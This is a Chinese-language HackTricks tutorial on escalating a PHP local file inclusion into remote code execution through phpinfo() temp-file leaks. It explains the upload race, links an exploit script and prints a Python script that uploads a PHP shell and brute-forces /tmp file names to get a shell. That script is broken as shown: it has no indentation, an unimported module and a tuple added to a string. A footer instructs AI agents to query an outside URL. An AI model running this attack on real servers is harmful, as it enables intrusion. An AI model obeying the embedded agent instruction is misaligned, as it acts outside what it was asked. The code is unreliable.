# LFI2RCE via phpinfo()

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

要利用此漏洞，您需要：**一个LFI漏洞，一个显示phpinfo()的页面，"file\_uploads = on"，并且服务器必须能够写入"/tmp"目录。**

<https://www.insomniasec.com/downloads/publications/phpinfolfi.py>

**HTB教程**：<https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s>

您需要修复漏洞（将\*\*=>**更改为**=>\*\*）。要做到这一点，您可以执行：

```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```

#### 理论

如果在PHP中允许上传文件，并尝试上传文件，则该文件将存储在临时目录中，直到服务器完成处理请求，然后删除该临时文件。

因此，如果在Web服务器中发现了LFI漏洞，您可以尝试猜测创建的临时文件的名称，并在服务器删除之前访问临时文件以利用RCE。

在**Windows**中，文件通常存储在**C:\Windows\temp\php**中。

在**Linux**中，文件的名称通常是**随机的**，位于\*\*/tmp**中。由于名称是随机的，因此需要**从某处提取临时文件的名称**并在其被删除之前访问它。这可以通过读取**函数“phpconfig()”**内容中**变量$\_FILES\*\*的值来完成。

**phpinfo()**

**PHP**使用**4096B**的缓冲区，当缓冲区**满时**，它会**发送给客户端**。然后客户端可以**发送** **大量大请求**（使用大头部）**上传一个php**反向**shell**，等待**phpinfo()的第一部分返回**（其中包含临时文件的名称），并尝试在php服务器删除文件之前**访问临时文件**以利用LFI漏洞。

**Python脚本尝试暴力破解名称（如果长度为6）**

```python
import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
